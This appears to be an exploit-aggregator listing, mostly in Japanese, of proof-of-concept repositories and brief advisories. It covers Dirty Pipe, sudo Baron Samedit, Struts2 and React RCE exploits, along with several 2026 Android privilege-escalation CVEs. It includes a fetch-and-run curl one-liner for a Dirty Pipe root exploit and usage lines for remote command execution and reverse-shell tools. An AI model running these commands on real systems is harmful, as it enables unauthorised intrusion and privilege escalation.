CVE-2025-64512_PoC

CVE-2025-64512 — pdfminer.six RCE エクスプロイト Python 3、標準ライブラリのみ （pip インストール不要）。認可されたセキュリティテストおよび CTF 専用 — 法律およびエンゲージメントの 交戦規則を遵守する責任はあなたにあります。 | ---|--- CVE| CVE-2025-64512 影響を受けるバージョン| pdfminer.six .pickle.gz）として 同梱しています。 CMap がどのようにロードされるかを見てください（pdfminer/cmapdb.py、20251107 より前のすべてのバージョン）:...

CVE-2022-0847-Dirty-Pipe

ワンライナーエクスプロイト CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

cve-2023-37635

CVE-2023-37635 - エクスプロイトガイド インストールとセットアップ 1️⃣ 依存関係のインストール root@kitploit: pip install -r requirements.txt 2️⃣ エクスプロイトの実行 プロキシを使用する場合: root@kitploit: python brutForc.py プロキシを使用しない場合: root@kitploit: python brutForc.py -n 注意事項:...

CVE-2021-3156

CVE-2021-3156 PoC はじめに これは、Qualys によって Baron Samedit と名付けられた CVE-2021-3156 sudo 脆弱性に対するエクスプロイトです。 使用方法 ビルド: root@kitploit: $ make ターゲット一覧: root@kitploit: $ ./sudo-hax-me-a-sandwich 実行: root@kitploit: $ ./sudo-hax-me-a-sandwich 手動モード: root@kitploit: $ ./sudo-hax-me-a-sandwich ターゲット探索のブルートフォース 試験的...

CVE-2026-0194

In multiple locations, there is a possible permission bypass due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation...

CVE-2017-5638-Apache-Struts2

CVE-2017-5638 Apache Struts2 CVE-2017-5638 の PoC エクスプロイト PHP コード例 使用方法 php exploit.php "http://127.0.0.1:8080/example/index.action" "command" 自己責任で使用してください...

CVE-2025-55182-in-go

CVE-2025-55182 — React Server Components RCE プロトタイプ汚染を利用した React Server Components の RCE エクスプロイトです。 使用方法 root@kitploit: go run main.go -t -c 使用例 root@kitploit: go run main.go -t http://127.0.0.1 -c "id" go run main.go -t http://127.0.0.1 -c "ls -la" go run main.go -t http://127.0.0.1 -c "cat...

CVE-2026-49083

CVE-2026-49083 CVE-2026-49083 LatePoint Calendar Booking Plugin 권한 상승 익스플로잇 🎲🎲🎲...

Automatic-davfs2-1.4.6-1.4.7-Local-Privilege-Escalation

Automatic-davfs2-1.4.6-1.4.7-Local-Privilege-Escalation 自動的に脆弱なdavfs2 CVE-2013-4362 を持つシステムを悪用します これは何のためのものですか？ 脆弱なバージョンのdavfs2の悪用を簡略化するための2つの.shスクリプトです。 前提条件 モジュール'fuse'または'coda'の少なくとも1つがカーネルにロードされていない必要があります（PoCはデフォルトではロードされないcodaで動作します） リモートのwebdavサーバーをマウントできるユーザーである必要があります 確認方法: cat /etc/gro...

CVE-2023-45878

CVE-2023-45878 GibbonEdu Gibbon 漏洞利用版本 25.0.1 GibbonEdu Gibbon 版本 25.0.1 及之前 GibbonEdu Gibbon 版本 25.0.1 及之前存在任意文件写入漏洞 更多信息 https://nvd.nist.gov/vuln/detail/CVE-2023-45878 https://herolab.usd.de/security-advisories/usd-2023-0025/ 免责声明...

dpipe

dpipe Dirty Pipe脆弱性（CVE-2022-0847）の概念実証エクスプロイト...

EUVD-2026-79021

In multiple functions of arm-smmu-v3.c, there is a possible escalation of privilege due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation...

CVE-2026-58765

In GPU, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation...

EUVD-2026-79019

In GPU, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation...

EUVD-2026-79017

In multiple functions of arm-smmu-v3.c, there is a possible use-after-free due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation...

CVE-2026-58747

In smmudetachdev of arm-smmu-v3.c, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation...

CVE-2023-27997-POC

使用方法: python3 cve-2022-42475.py rhost rport lhost lport 例: python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 免責事項: このプロジェクトは教育および倫理的なテスト目的のみで作成されています。事前の相互同意なしにターゲットを攻撃するためにこのツールを使用することは違法です。開発者は一切の責任を負わず、このツールによって引き起こされた誤用や損害についても責任を負いません。...

CVE-2026-58678

CVE-2026-58678 is a Critical elevation-of-privilege (EoP) vulnerability in the Bootloader of supported Google Pixel devices. The root cause is a logic error that permits a permission bypass , enabling a local attacker with System execution privileges to escalate further without user interaction. ...

CVE-2026-57012

In the Setup Wizard, there is a possible remote package install due to a missing permission check. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation...

CVE-2026-56889

CVE-2026-56889 is an integer overflow vulnerability in Android (tracked as PUB-A-511556070) that allows a local escalation of privilege to System-level execution. The flaw exists in multiple unspecified locations. Exploitation requires System execution privileges but no user interaction. CNA-assi...